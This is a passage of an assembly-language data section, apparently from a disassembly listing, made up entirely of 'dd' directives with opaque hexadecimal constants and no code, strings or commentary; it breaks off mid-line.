dd 0B432466Eh, 979C85F6h, 0FDBF6682h, 0CE3563D7h, 0BE3393Ah dd 61110EEh, 0D03BC1A5h, 0E05983ECh, 98A90F3h, 34E90380h dd 0EA95A464h, 711A60DEh, 0B4C69515h, 838A847Dh, 281431E9h dd 131BA51Fh, 8989FCFEh, 4DF301E7h, 70E9032Fh, 0B58D043Dh dd 0AB22CA57h, 7700C26Fh, 23F8A7A6h, 0B432326Fh, 0DA49B0CBh dd 52B79704h, 14E70396h, 26AAE024h, 580749BCh, 1364E25Bh dd 0FC4D985Fh, 0D75254B9h, 0C2800260h, 0D9B70FC4h, 0FC52855Dh dd 2AE0DEA6h, 0B14B96F3h, 0EAC0A620h, 0E4B70018h, 3638C76Bh dd 0E50934C5h, 3E4396h, 66A8575Eh, 0F1F912BBh, 61A3BF5Fh dd 23C5B50Dh, 0DF1E41B3h, 8EC56867h, 0F7840072h, 9D498819h dd 75DCD5A9h, 89100DEh, 815F79BEh, 27A2BAA9h, 31700973h dd 89A80974h, 2B02427Fh, 0AD001711h, 0D4D1C233h, 0E902D450h dd 29F47504h, 12C0561h, 9E3F880Dh, 5147C052h, 0CAAC116h dd 25E51D28h, 3041B582h, 9A5D95D8h, 7A6DB353h, 8B80227Dh dd 49707EFEh, 47627E00h, 8300A65Bh, 0F65802E6h, 48284B13h dd 0C522D6D4h, 5DC749Ch, 0CC5EFECEh, 6009AB79h, 0D85905F5h dd 91C27183h, 94BA0318h, 0B156E978h, 3B585819h, 827CDE25h dd 8DB6D8C4h, 3C9172E0h, 10C7B258h, 824F078Dh, 0BD5792D9h dd 11A480FEh, 4F9EBACCh, 0BBAAF217h, 70052A2h, 686C9D6Eh dd 5C00B0D6h, 2D2C98B7h, 7DDF587h, 1E05529Ah, 3D5509B8h dd 8719802Ch, 6CD7F5A1h, 12726A5Ch, 0CFE94DB0h, 0C10032E8h dd 0FFA30EAEh, 988CB3E1h, 42EB14F1h, 7D109FF7h, 620BC913h dd 2AB75F49h, 0A4FB0B00h, 546F8D4h, 6C45C03Fh, 1F90860h dd 4504FC96h, 610A1229h, 4014441h, 0D5A903E5h, 0F70140E8h dd 0CD8E1285h, 0BA20E67Fh, 7C0E58B1h, 3A34088Eh, 860F0381h dd 17C80F75h, 0DB48D3C0h, 206056B6h, 0C65EB8B0h, 0F3F1644Eh dd 403DDB30h, 0E125801Bh, 663704h, 0C12CECAFh, 380B1060h dd 7892F649h, 0A01F72Fh, 34B841C9h, 75CE6D01h, 0A0FA1D44h dd 9B0DC1D4h, 3E4BD851h, 331D8B04h, 85A1C985h, 0EBC1F75Bh dd 6B2ED4E2h, 3E304013h, 0B446035h, 0C1B826BCh, 443885F4h dd 8B63B390h, 0E25C498Dh, 0E2BBEDA7h, 0E1E6FDD6h, 0D2658B00h dd 0AD14EA64h, 619B0411h, 0BB820F58h, 67C04CBDh, 99FA312Fh dd 2C75A700h, 8E5C5918h, 0DA8A00B7h, 0A0DB6830h, 60797F6Eh dd 0B866F702h, 0D461EECBh, 0A39F383Eh, 0D664E771h, 6BF37500h dd 0A7538BC4h, 277D00DFh, 1C7CA2A8h, 675C5EBBh, 2DE11236h dd 19A033B7h, 60001586h, 0FFC98064h, 4F74AEBBh, 555905E4h dd 81C7C0B2h, 417A60DBh, 0E9FC6F05h, 0D3BD015Bh, 79DCA880h dd 2B48255Dh, 3B4D342Ch, 16B887E9h, 37DFE100h, 0DEF79354h dd 0C7AA3859h, 81807C4Ch, 49E572CBh, 0B5168E98h, 67931501h dd 817B5A51h, 890BCACAh, 4913A190h, 78FFB560h, 2582930Dh dd 57377065h, 79044662h, 6AC20030h, 227A79B3h, 0C40D1701h dd 15BD2345h, 0BF5B3E74h, 0F9780BABh, 52794B90h, 0F0816000h dd 72158410h, 595270Bh, 0B5FF20C8h, 0F269AA4h, 6860A78Bh dd 17BCABDAh, 0E0FA8AF2h, 58172566h, 0DEDB0D62h, 960A9880h dd 0E719F23Ah, 0F9AC5760h, 0A505043Ah, 95F7F82Bh, 3E9B5E00h dd 203A4CC1h, 72136FA8h, 0BB6600D0h, 695A9792h, 5559F9E7h dd 23676E9Ch, 6DF4001Dh, 25277018h, 462D7FEAh, 134E084h dd 16113595h, 190304DDh, 85C70524h, 4CAD168Dh, 0F880E637h dd 29376DADh, 53C961BDh, 0CEA99531h, 0A9A1E07Ch, 2A9AC626h dd 0CF90441h, 1095A856h, 1E501959h, 0F4AB4EA3h, 1A9C6537h dd 0BB9FF1A6h, 5121E949h, 209908BFh, 0C305004h, 984426C3h dd 7AE8C101h, 0F0ED610h, 3C44CCFh, 0E78EA458h, 3636EB37h dd 0E7641078h, 501B58B8h, 212829CDh, 34581803h, 27570113h dd 3D57091Bh, 0D9590095h, 8FEB96DDh, 0B7F41E2Fh, 0F20A0062h dd 51F4DD17h, 5D905597h, 21B95FF8h, 440E44Fh, 257AFAh dd 1BFAF7Eh, 48FE5BFFh, 10B30641h, 7E686148h, 8D500C4Fh dd 7E6E5B13h, 0FAD9DC00h, 64EC2771h, 0C920B190h, 0DB80171Bh dd 58B22Fh, 2493B344h, 767BF53Dh, 0A86B4C48h, 2EA04922h dd 0C78119D9h, 46F1B7Ah, 0DF81F8E0h, 4D57D504h, 81AE5038h dd 603589E4h, 2E726172h, 97CC04EFh, 74F00D9h, 9B7AB819h dd 77E43930h, 9361240Eh, 947DB472h, 46D30C76h, 9221C09Ah dd 0DC99B6E3h, 56F92612h, 2D69CB04h, 49735F0Ah, 0E300A971h dd 0D8E835CAh, 58E70EFh, 93635580h, 0F11A82D4h, 62BB5F78h dd 390EBD70h, 108B9D70h, 0A0F0B426h, 86B1CC8Bh, 5CDE3BC4h dd 658D07C0h, 39160EA4h, 0DF01FB8Bh, 157DA859h, 83C54B38h dd 296C98C2h, 91CFF500h, 0E4979CF7h, 95CB504Bh, 891044D9h dd 0FA205039h, 682B912Dh, 4AC7978Fh, 0F226F22h, 99574B30h dd 7B7FB8F8h, 0B44800C2h, 58EC7BC9h, 375C2630h, 0B3E7009Fh dd 757A12BBh, 515A7269h, 44D1008Fh, 0BF71625Fh, 3B28D324h dd 0FA1C85C9h, 800EE0B3h, 0CB606CD7h, 0F50961Bh, 4BDB62B0h dd 0E4C78B6Ah, 5DC0D49Bh, 628DB270h, 4489C729h, 3D129F26h dd 1DEA21BBh, 0F9CB070Eh, 0C83197Fh, 97F32C2Ch, 9B5EECBDh dd 0A45382EFh, 0B6D5C02Ch, 999653CCh, 0A59FE00h, 3AA6509Dh dd 57E3E24Bh, 6167C00h, 287E6E96h, 61BA910Bh, 6FD9DE49h dd 0E076F6D2h, 0BD910346h, 1093F666h, 7939BB85h, 13498F04h dd 2AF7AFBh, 71852919h, 132B22Ah, 5BFEBFF7h, 4D65EA2Bh dd 0D200546Bh, 0B8496207h, 0CAE2B60Ah, 0D48A6005h, 3CEC8B51h dd 9EC15A89h, 204C209h, 1BD4C20Bh, 136902F6h, 58361564h dd 91001ED9h, 423CC1B0h, 9CCD012Dh, 0A0394045h, 0C6DC843h dd 0D9C67D12h, 0A8700230h, 9EFB0355h, 5FE2A2DEh, 1751B816h dd 0F1E8F5ADh, 2A9F8D02h, 0F6694517h, 0A6E52254h, 706AC030h dd 7F74FEC4h, 0C52E470Bh, 41B58F7Ch, 0C61BBA73h, 80B79E2Fh dd 0BC791D54h, 33582E05h, 0F1BD0463h, 0E3FD901Ah, 897A5320h dd 14267930h, 3B85C75Bh, 0A6DE1291h, 301DA219h, 0F2000339h dd 970C1F36h, 90BE2A94h, 8C120FCh, 0EEED8881h, 0FFF35C21h dd 2B37FFC6h, 9036DD00h, 240711E1h, 25ABAA3Bh, 0C1ECA05Ah dd 0F6E0E0ADh, 19C66B85h, 548197AFh, 2AAC1479h, 1AE2D6h dd 9F820977h, 0C2CC9h, 8E38EF12h, 24CBB0BBh, 21427566h dd 505F3CFFh, 0C172D827h, 0B87BB18h, 4B9D2BA8h, 0EF2194DDh dd 0B05E536Fh, 8D1401D9h, 125A310Dh, 10BD4F6Eh, 0DA62DE25h dd 390B4D54h, 8B73A2B1h dd 0EC1A77C2h, 17D4E854h, 0FBD98C17h, 0FBE3F204h, 0EF4B33FCh dd 23C14CDBh, 6E6A31B7h, 3BC05BDBh, 0B59AFEF2h, 0FCD08A12h dd 6E5BCCB3h, 657700D1h, 4B88BB06h, 9D311760h, 61754AE9h dd 0A0351DF3h, 5FF61A95h, 2B013B37h, 1AE22958h, 0C360BA2Fh dd 2E106BF7h, 125ED1FFh, 2A99A101h, 0BF6AF428h, 2960D8EFh dd 1C01A1DBh, 25AD9D49h, 58AA4CF5h, 2804EE5h, 889ACB81h dd 504B1A00h, 0E7FBBF56h, 0D42EED36h, 0E98E0E7Ah, 5D23E712h dd 12E7B87Ch, 0E20E46E9h, 2A78C93Dh, 4CDE3975h, 915E95BAh dd 69FE8AE1h, 4B73B8BDh, 0B75B814Bh, 6D342EC6h, 62A6EEEh dd 0D912563h, 75A680F4h, 0B7908007h, 5F50B03Ah, 2B80ADDBh dd 599BA930h, 5ADF4D31h, 992E10D9h, 32FB2EC7h, 7C4028E5h dd 9E4B0345h, 9703BF99h, 0DAF61251h, 5BB2E25Fh, 0A01CD07Ah dd 0EB030007h, 1E12F53Ah, 6184814Bh, 4D3C7ACh, 0F07DD2Eh dd 5FA9B26Ah, 300E9B8h, 2FDED5A2h, 5C1F4CAEh, 0D05E9AC2h dd 73F3BF71h, 116A5C24h, 712AB909h, 13F42EBh, 49B0FC02h dd 60121B99h, 0E240335Eh, 0A5663Ah, 33227E28h, 0FEF11163h dd 0EF441F24h, 53470900h, 4E66101h, 11B58970h, 78F7B930h dd 2FED8D12h, 334EFE3h, 0FABE0979h, 0B398EA70h, 5B2C252Fh dd 5E81403h, 3F5A5001h, 7B16A6B4h, 0D437FA80h, 582A9A5Bh dd 0A94A109h, 0A82EA117h, 0FED29EEFh, 2C88F3E1h, 2B040FFDh dd 1BFBFCC8h, 0A37E7A72h, 4059865Eh, 0BF10050Ch, 0EC2DD5AFh dd 23BB905Dh, 31C132BDh, 43DC857Bh, 2DF118B1h, 4302B804h dd 357216A6h, 0A464E00h, 645EB74h, 0FED19DE5h, 66972CFFh dd 0DA750010h, 8E58AA11h, 0CF00E49Bh, 0DDC06716h, 2C13F8F7h dd 92594FC5h, 1626F45Fh, 1B6446B4h, 0BE4BE904h, 0DDE4EC70h dd 305A16B3h, 0D0F7ACEEh, 0DA53386h, 85CFEA60h, 21BAD0D2h dd 142484EBh, 65BCC6EAh, 22A1A5FEh, 22FA2FFEh, 0D0DC8915h dd 448F0F42h, 3D3097B1h, 8982D2DAh, 18BC408h, 8759051Fh dd 0D4310C61h, 6A4B410Bh, 0C0BC5BFDh, 76B18B5Bh, 6396DFFAh dd 500C7B95h, 53E9D71h, 7EF055B9h, 0AB05696Eh, 9E1DB69h dd 4D78FEB5h, 0B0310DDDh, 2B011679h, 2ED2C9C0h, 5A02986Eh dd 69892A11h, 64B2F2D4h, 7AD65CF9h, 0DCF3DCh, 23CAB93Bh dd 0AFE47B01h, 8A0F0517h, 0F0CB0760h, 0E9BB04B6h, 0B62B7B09h dd 0F095E018h, 2C5042Ch, 0BCB33035h, 38B69727h, 2F4EDDE0h dd 0A02A9E13h, 6A94504h, 3FB424BCh, 41B392Dh, 80014622h dd 0F8FD8684h, 0F4168D4Bh, 1597B1C3h, 0A59CB3F2h, 0B50907ECh dd 59FD291Bh, 497F44D4h, 0E1C70252h, 0AB5B0509h, 1423EF6Ah dd 23309413h, 121279DBh, 0E7ADE21Ah, 0C4F94AA5h, 0F00509A8h dd 0E1FF9FB3h, 37E07AF6h, 6702A41Ch, 0C12B5DBFh, 53C15C40h dd 0A92B4FACh, 95BCD0D5h, 27699394h, 0B4737526h, 9228570h dd 0DF317A8h, 0C3448771h, 87E5F54Eh, 383DF20Bh, 0EE2FA295h dd 1D3CBED3h, 1E0D109Dh, 2FC4F381h, 67B8650Fh, 7FB8485Dh dd 1B09C490h, 7037B94Dh, 4C829D83h, 5D5CDDB8h, 311E2391h dd 4A1351B5h, 9A9E5BC4h, 7CBF8BDFh, 8BD3402h, 0A5605909h dd 0D01F3E64h, 0CC4351B4h, 0EF50484Eh, 9BF487F8h, 0D1A7D23Ah dd 7B97FF58h, 0A1E6D074h, 1E39A602h, 578B2EFEh, 683D1364h dd 1D9F9252h, 578083FCh, 7FAA9EAFh, 79D9FD01h, 0B3F3730h dd 1291BFC8h, 0E05B6987h, 1D39AD28h, 0C1DB4A80h, 0EAABBA80h dd 6F026351h, 66B78AF2h, 60B37E57h, 2C2D8D01h, 4150748Ah dd 0F856DCCFh, 0B8F6A4BEh, 7049AA01h, 24F6438Eh, 0BDF2742Ah dd 2DDCA977h, 192512DBh, 1252E3F9h, 0CAED9D33h, 1B0E90Bh dd 4D20BC72h, 4CBA951Dh, 40C8ED5Fh, 0EAEF3437h, 0D50A8D28h dd 7C19FD25h, 705AC778h, 0CFA161E2h, 7E590997h, 0F806F6D8h dd 9BF2C6C4h, 361206Eh, 0B174E197h, 9D2B7D86h, 614B0DC5h dd 0A2F98194h, 9A004DE8h, 0F1267722h, 0DC01D065h, 90AD07Ch dd 71FAB70Fh, 0BCBF9DA9h, 89616E0Eh, 0A93DBBE0h, 0D49319B2h dd 0C3C78100h, 97380BC5h, 6F4DA709h, 0BC7F63C0h, 741700D3h dd 806756A6h, 4525BD03h, 0B94CDF10h, 6D89F600h, 38F79D9Bh dd 0D62E00C6h, 0AF936CEEh, 0B212A13Ah, 4CA0AC54h, 32009550h dd 95F57ECh, 0B6B2509Dh, 0BD1AAA02h, 0AA80AAB7h, 35682132h dd 3E782F0Eh, 71A8D41h, 0AE8228B1h, 9F5250F0h, 0BE00D244h dd 8895D7B4h, 0F23215h, 7FBB2B6Fh, 3A219484h, 0F312318h dd 0D3068304h, 0C43EEC35h, 3D3585Ah, 78B1A1D7h, 0CC4A677Ch dd 0E29529EAh, 0F44C55CAh, 5AD88B37h, 0FB465B86h, 8AED9430h dd 5216DFB3h, 7FD61FEh, 66053CB8h, 53654FBBh, 47E32FFh dd 7ECCADE0h, 0A18EFE09h, 0E9D0715Fh, 734010EDh, 4878490h dd 7ABF66E2h, 0A3C3AC58h, 2B335036h, 0E9244021h, 0AF944670h dd 0DE7906F4h, 0CA29C16Bh, 0E95D2B5Bh, 0D5E330D2h, 8A9A4BBEh dd 0B04E059Fh, 934C7E4h, 0EAD8EF53h, 0E995018Eh, 8F21432Fh dd 4A6C3CF4h, 8621D5CAh, 0D4037CA5h, 12BFB758h, 7D048A2Ch dd 52141B45h, 4047D1C0h, 5F094A2Bh, 167AF828h, 83456B23h dd 0E6968E37h, 4580D7B8h, 0D568C1E4h, 5BEC4C1Dh, 0F73ADD00h dd 5EB5297Fh, 5F7E096Dh, 898B5651h, 0A53A7EBDh, 5E75F96Ah dd 4625DEBCh, 0B591C6ECh, 2F2E7CC1h, 9AA60475h, 0DD8D0FE0h dd 0D81FA205h, 6D83669Ch, 96D72E15h, 480E1138h, 0DEBF0250h dd 6204645Ah, 9F9C7852h, 0F88AC1E0h, 0A4A6964Ah, 0FAE19EE3h dd 39F84152h, 1FFA040Fh, 0FCFDE662h, 74716907h, 60022E68h dd 0EB5F5E59h, 901EBB5h, 0B87B8586h, 5A80E6Fh, 76D04611h dd 5C93CAB5h, 0D687EA55h, 1BB4821Ch, 4CF33292h, 27EAE84Eh dd 0BC501618h, 0D817D4C0h, 330C0807h, 4A83AD85h, 0F312F6C2h dd 0DDEBF85Ah, 855C4860h, 0D0235912h, 3FD3935Dh, 64C1444Bh dd 312F6AB3h, 0F4F88B60h, 8088B886h, 863B60E7h, 1674E381h dd 0EC2D9D25h, 5D8D4B12h, 0E2889317h, 0D59350DBh, 0DF2D2A5Eh dd 7DA07A76h, 0C516BD02h, 72E86049h, 2BE12A80h, 237B63E5h dd 4B368601h, 54117C2Dh, 40390320h, 8A12580Eh, 910261F4h dd 0D9108B0Fh, 120511B1h, 0BBE888BFh, 65B96600h, 8B5061B6h dd 0FF96D93Ch, 891DB724h, 0F1946DCh, 0E459B099h, 66BC148Ch dd 71DB81C0h, 46426A19h, 0BA1252CEh, 7300257Ah, 6FEF9FF8h dd 1B4F18CEh, 117548C1h, 26C9BF13h, 34489312h, 5B26FFBh dd 8B3483BCh, 250F9229h, 0B36335C0h, 9D512380h, 0C6A6A5F0h dd 0B5D1B06Dh, 0C507C764h, 43C04D20h, 3496F00h, 0DD7A0142h dd 0E8ECFC79h, 0BCEA140Ah, 438D813Eh, 84415C7Fh, 5F021D55h dd 1E9422C4h, 65A400F6h, 7E14CD15h, 1E4B1B76h, 0DF1E98BFh dd 5E6A9497h, 0C0C39E79h, 6089D3CEh, 0CDE7F48h, 8E81A5Eh dd 2900D623h, 67BFBE0h, 2409DD61h, 92C5BD9Dh, 435BF75Bh dd 17ADF03Eh, 4742009Eh, 6C3EF27Bh, 61289531h, 0D92F7830h dd 0DCFF68C6h, 0E2DB9808h, 2F61812Dh, 3B81212Eh, 0FC8D6BFAh dd 51136DCFh, 0D312D57Ch, 8C822AFh, 0CD271B5Eh, 0B15EC360h dd 0EDD5EBF8h, 8B1FE009h, 0C4FD4DC1h, 4B72F3C6h, 44E90F8Ch dd 15025707h, 10054447h, 9382D7D7h, 0B6787A76h, 0C039ED9Dh dd 78D38F56h, 809B81B5h, 0F4D6B8CFh, 200DE43h, 39CB53AFh dd 9CD90C09h, 3DE90E20h, 0D1B3EF80h, 0DEC11C98h, 6235F71h dd 172FCEE9h, 79C68823h dd 9200F070h, 16A8DBAAh, 287AA0BAh, 0D2AD89B3h, 0B8F4B9EFh dd 0BF9900D0h, 5A2E5D69h, 0F74AD780h, 41ADC0B4h, 99123018h dd 5DEA6AB7h, 79E1746Dh, 0E13E7A6Bh, 0E68A2A8Fh, 0EBC7574Ch dd 0E1AA0198h, 0E3E5C4ABh, 1E9A5106h, 9596C399h, 2F5F1369h dd 0B4E60575h, 474C79A1h, 124350C9h, 5209D1FFh, 24D5BD0Bh dd 0FEB85BB6h, 911F6FA2h, 0E7A48018h, 0B03321FFh, 386BB5FDh dd 0C8A555B7h, 0E8C5028Eh, 25BE2D4Dh, 35F23Eh, 33B97275h dd 16C4FDA0h, 0F9AC4235h, 8E502463h, 493F8560h, 9F860BB3h dd 4E8090ADh, 3588EEFBh, 19CDE9A0h, 0BB403BB9h, 0FA42DCF6h dd 0CE4E4BE9h, 5F7B1603h, 0D1E8F0A9h, 0DD5BF401h, 65B79F10h dd 5BF42ECh, 50E6B38Fh, 0CD368160h, 810F0124h, 0C632CD7Fh dd 0DCF7DCh, 0D1D316A3h, 5CC84554h, 0EEF56F25h, 0C273951Ch dd 0AC9D1251h, 90142065h, 41118F0Fh, 29A63D9h, 7715870Dh dd 744758F3h, 0D84554BFh, 0A18104BBh, 0B9902E41h, 0F3B692FAh dd 8D9D0305h, 729DAA30h, 80E29B2Bh, 0F87EBE87h, 0BDB20240h dd 8D3113B5h, 555A3243h, 0D43EBFF1h, 0E0C2F60Eh, 994507h dd 0E24EC6D8h, 0F80A90D9h, 9CEB3397h, 1F1B04Ah, 8BC7BF0Fh dd 0D0132EC8h, 0EA83CDECh, 0BFB590Dh, 0EF26CD90h, 846E4C3Fh dd 20829081h, 0E42F91BAh, 30D93071h, 0EEE02797h, 0B0D82F08h dd 4F2B1141h, 2B4895E3h, 96D37EEBh, 1611C8C1h, 0C82EE000h dd 0CD644B7Fh, 0A0800EDh, 0F80EB566h, 39254770h, 10D8724Dh dd 0C20D7D85h, 4129C82Bh, 8B002A15h, 5BCF8D1h, 44B11C4Ch dd 21378508h, 877B3F07h, 0D189C083h, 53900319h, 20F80FDAh dd 0BE066824h, 8E3E84D9h, 482EE12Ah, 0BF812FAFh, 3C97E7F3h dd 657850B2h, 0B2D929h, 91205944h, 0E90032E2h, 8F38A6AEh dd 9794905h, 860FED40h, 8564DCD6h, 0B32A8FC9h, 0A9A34EFDh dd 0EDBD010Eh, 88FFB912h, 0C899228h, 0A51F0A66h, 0F5FE21A0h dd 0CE82FEBAh, 88CA8413h, 119996B0h, 0B08E595h, 0CC73E2ECh dd 613E720Fh, 8A7085CDh, 1D7DF9ECh, 0D2B42C51h, 9AA0FEDAh dd 0AE0A97FBh, 0D20EFC75h, 87BDD19Ah, 0AA22FEACh, 3DEFC0D5h dd 229B0B7Ah, 0B4063B9h, 897BCB7h, 411A829Bh, 9E97777h dd 6AA62A2Ch, 0D3BB6601h, 2ABD8971h, 24AB0494h, 216EEE84h dd 0C434FE0Eh, 0FAFC65C5h, 8E38E422h, 2C805FF1h, 980A1249h dd 0B3BD0909h, 0BC735F0Ch, 8E01B569h, 0F680677Ch, 0CC5A5751h dd 6F983573h, 242F4D24h, 5DFA2553h, 9C5670C2h, 28D31CFEh dd 0AED049ACh, 234A5678h, 83D72760h, 5F4F0921h, 58E65787h dd 6F25DA90h, 0B285C639h, 0B6EF25E5h, 0CD6987C5h, 2FDC179h dd 62DB3A3Dh, 0E8423C81h, 54411010h, 1EA400B5h, 234C1263h dd 6D04DEA3h, 0FD29DD2Ah, 89AE4885h, 0D2292B5Eh, 6F3F7B65h dd 6B022437h, 0A7BF5B69h, 0B050FB7Bh, 0B2FA667Eh, 0FF2DA555h dd 0C0A8EDE1h, 0AB8D4503h, 7B21B712h, 8A87C2E2h, 0B7750B04h dd 0F9C6829Ah, 0A1706D40h, 0E18E0A4Bh, 78997322h, 0EE56AF80h dd 3A5DECh, 0DD752E77h, 0ED07A31Ah, 0FDA90A02h, 5CD4D153h dd 0A51751D9h, 45E9904Dh, 4F7B8EFh, 0B809ED34h, 9580824Ah dd 5F250052h, 0CE3B6D60h, 0A761F001h, 1CA2230Dh, 7E02AC7Ch dd 5C3B42CAh, 0EEB709FDh, 0BCA0DD70h, 0C6950D01h, 0B760793Bh dd 0E0055BDh, 0BCA117Ah, 25989558h, 3E14C6BBh, 12BE1AC7h dd 0E0E70CB5h, 59F8C04Fh, 0EABD5018h, 4117DAEFh, 28AB75DEh dd 0CAB84AB0h, 0C45312D3h, 0C0D28191h, 8C97E68h, 0E11F03F0h dd 8D1009E5h, 0D00E4474h, 0D9C7216h, 15786C8Eh, 0F9DF0380h dd 1B0A5D3Fh, 3DECDDBFh, 6A805B13h, 0A88B36DEh, 0B7605780h dd 7CD3B290h, 26AA5F01h, 617E824Eh, 98858BDDh, 0FB1E7ABFh dd 0F5FA1632h, 683FF37h, 0AAF032F3h, 5A71E2A1h, 8D091207h dd 0AD4584A9h, 8C1AACD9h, 9A00F597h, 0F559C27Ah, 2DB6894Ah dd 0D4301BA2h, 0BA180277h, 139C53D2h, 2368FAA0h, 0EFBFFCE9h dd 0A6BE60BAh, 7C04D448h, 0F967384Eh, 23676BAEh, 271E0416h dd 0E582B033h, 458F1144h, 80F77813h, 730CBB7Ah, 39230302h dd 0BF796F1h, 6159E690h, 29289A97h, 0A7F759FCh, 721E54E4h dd 6681233Dh, 5BD98BDDh, 60D8302Eh, 3AD3FC8Ah, 6117D0B9h dd 0F0DCA689h, 0CEDE555h, 0DFA4D4F0h, 0CC95F896h, 48042AAh dd 1EA9BD0Bh, 0C128BC34h, 0E259D2Bh, 73509601h, 0BDAD1EF9h dd 0CF358B40h, 0FF698D1h, 4C45E053h, 5AD0E272h, 0B4C060DBh dd 2870F6BBh, 0B4F72048h, 261818Ch, 8EE85B81h, 0C5767EBh dd 918B4E64h, 0EDFB9DC5h, 0AD60535Ch, 0C05149h, 0E7433527h dd 0C8EEFA94h, 6E60BF05h, 24FE96E0h, 7E6FBh, 3886B28Bh dd 10F56EEFh, 49A9D1EEh, 998D8012h, 0E4169B10h, 0BFC6022Ch dd 264309F7h, 88CE6355h, 95EAD380h, 4D9FE5CEh, 0BB6440CAh dd 8700C846h, 0A3A92866h, 2CB3901Ch, 204F502Bh, 5260175Bh dd 0C0C0F85Bh, 0EB819061h, 2A2B1236h, 6D820467h, 0F82BAE16h dd 5073BA81h, 498DD43Ch, 8F06F102h, 57FD8A61h, 1C91EB3Dh dd 9DA96A82h, 46659A7Fh, 0E6E500F1h, 0A1FDD74Ch, 9E4BB293h dd 3A27068Ah, 5DDA7053h, 3B604019h, 2423D78Ch, 0A5E1058Dh dd 298E0271h, 771A48BDh, 6B7D86Ch, 7D9529D7h, 0BDD32Eh dd 9D09C8B0h, 27E5972Dh, 0B0F761A5h, 0A9AD7D0Dh, 0B39897Fh dd 44F79DDh, 0A7A014F7h, 4C061943h, 0D167DDF0h, 0E7D84ACEh dd 0C5CF096Ch, 0ABD3731Fh, 0EE585853h, 387EFE01h, 640DB737h dd 0AA0A352Eh, 119D8B60h, 0E016972Dh, 0F760A08Dh, 48C8FC75h dd 9779BBEDh, 85287964h, 0BA00E20Bh, 54B883B3h, 4A165C69h dd 106FB761h, 2189187Dh, 92FD3D7Dh, 0C922042Ah, 2E5D1931h dd 0BF91742Eh, 572B5729h, 1566E92h, 0B8A180CCh, 0BE381732h dd 0F423F592h, 6E01AC22h, 905287B4h, 0B53CB589h, 0BE86D39Dh dd 0F907057Eh, 0C4C81D9Dh, 3A6BEECDh, 600F1A23h, 0EDB9E14Fh dd 0E040517Ch, 258E2BFh, 0F525C081h, 0C3400C6Ah, 109504C2h dd 0AA56B4h, 7A9895E7h, 0F98A677Bh, 2050DCC7h, 0EB125E59h dd 8C1C21B5h, 0AC2EBC41h, 0B063803Ah, 0CE5EF25Fh, 0B555E01Eh dd 904B91BBh, 0DDD2908h, 5AB891B7h, 74C025ACh, 0F145EF55h dd 0BD6BCA1Eh, 0E8C0B41Dh, 92A4E9C8h, 63182786h, 0E099CD77h dd 0C00ECD17h, 5B763A4Dh, 0A05F9C1h, 10DF8204h, 0B10B6920h dd 9FEF004Fh, 46CF145Ch, 0F009A2D4h, 73B9CBD3h, 181759C2h dd 9446098Fh, 4C7BF5CBh, 505CFBADh, 0B300B5DDh, 9D5AFEB2h dd 1EC06EBFh, 0D3966CDCh, 1E21BEC6h, 0F205C323h, 0BA19007Dh dd 72CA8E59h, 78F50128h, 2F945ACFh, 961C7004h, 0C07E4D97h dd 0F11F91A7h, 96499C29h, 0DE5F7EA7h, 5EC1C200h, 0F7C603ADh dd 0F9EB25BBh, 1765CE6h, 7902FD25h, 0FA62CBC2h, 0E25C6D77h dd 18DFEC76h, 78E781FAh, 6D0D1645h, 2722C196h, 0B0CBF50h dd 14654BC7h, 13C3122Fh, 0D38CBDD4h, 0AEA249B6h, 0DE204D5h dd 308C75AFh, 1276D7A3h, 0FBFD4100h, 0C37D23A6h, 8058005Ch dd 0E1F3CBBDh, 66488192h, 0FD371208h, 0DAD3A4BDh, 0E21E80FDh dd 4B7C09C9h, 152BDAADh, 53DF8Bh, 0DB81E1E0h, 5127FD9h dd 3044D4D0h, 252E8028h, 501295EFh, 0EF6906Eh, 5C301BB2h dd 0D8F400E0h, 3103A6DBh, 584BF380h, 4DF607C5h, 2CF869E1h dd 20B980F3h, 4476B1h, 40F781FAh, 5F1DC753h, 8D2B9E97h dd 0E3A260B1h, 9C0397E4h dd 0F2DCE937h, 4EA98CFFh, 5B00ADB8h, 561795F4h, 0B2226h dd 77B527BBh, 0C18BF85Fh, 0B012D0F0h, 0BF36113h, 108AB84Ah dd 5F2610E1h, 40609C2Bh, 0C4B5B861h, 2CED054Ch, 8DC84B8Fh dd 0D8600C1h, 1579E43Dh, 8D009D69h, 0C3D42D73h, 7FBE5FA5h dd 4F0525A0h, 0E473978Bh, 62181B51h, 0C1AC2B07h, 0B38E23E0h dd 0B0697633h, 981E4Bh, 0DC8E93BDh, 8A30F667h, 7320CD4Eh dd 0A0B303h, 0B9D8B27Dh, 2B8381F9h, 33F7CF26h, 0F941D12h dd 0C550DBFFh, 0AC046814h, 0C5AB6FABh, 92B4F8C1h, 125B4CE1h dd 319F3AC0h, 10279D4Ah, 680DD650h, 9592B9A9h, 4C57AA41h dd 0F6BC57A9h, 89F77404h, 65A3820Fh, 5E1CF510h, 0B77C31E1h dd 0E80FBD4Fh, 880F28F0h, 64189760h, 7412A0BFh, 4FF31B84h dd 7457662h, 53D1FF01h, 63F36Bh, 0A3A2F948h, 1D2DA14Fh dd 4363C3EAh, 2FC22879h, 3C5F49E9h, 864E8030h, 251881CCh dd 50E5D594h, 0FC25591Ch, 2950F4BFh, 1F5B25F8h, 326ADE88h dd 71C46002h, 8B754BD2h, 880CE988h, 3507627Bh, 8F2A6710h dd 0B564B330h, 5614FB4h, 445C2E83h, 0BFF88AF6h, 1CDB9960h dd 0BDE25E9h, 0B5923AE5h, 6FFF4612h, 4A9F121Ah, 0FA00B8B2h dd 6A349469h, 3F09BF35h, 37101DB1h, 9CE8404h, 8DD4BEB5h dd 6BD62AB9h, 5ACA0094h, 82DF06C1h, 0B2F99725h, 90DE8B81h dd 0A5405152h, 985B1FAFh, 124A672h, 67FA3FE0h, 2BA0DF34h dd 8B00D5F2h, 0B77ADC93h, 29B39056h, 90F8D478h, 2B0E45A9h dd 40AED0C5h, 1BF181CAh, 3325A4B6h, 1C63EC61h, 12E19529h dd 74A7FF1Fh, 0C255DE27h, 0A7685C13h, 0C3CAED5Fh, 0AAE4395Ch dd 2C1E5A08h, 90C1F1Fh, 6305FF6Ah, 4147C3DBh, 0FB7ABFB4h dd 5FECB425h, 781FEE6Ch, 3301F3B9h, 90B42E9Dh, 0C770E1B0h dd 8EF4016Eh, 0F70E664h, 8B83688Ah, 4994DC8Bh, 0E4057178h dd 0D98A5271h, 2A2E89AEh, 20ABFA52h, 87DB176Fh, 0B04DF09Fh dd 0C05F4B5Ch, 0BD3816Ah, 114E2710h, 898509C2h, 0C15AC877h dd 0D2829801h, 95BE0B1h, 1EB99D10h, 4CD4C8DAh, 68C82B8Ch dd 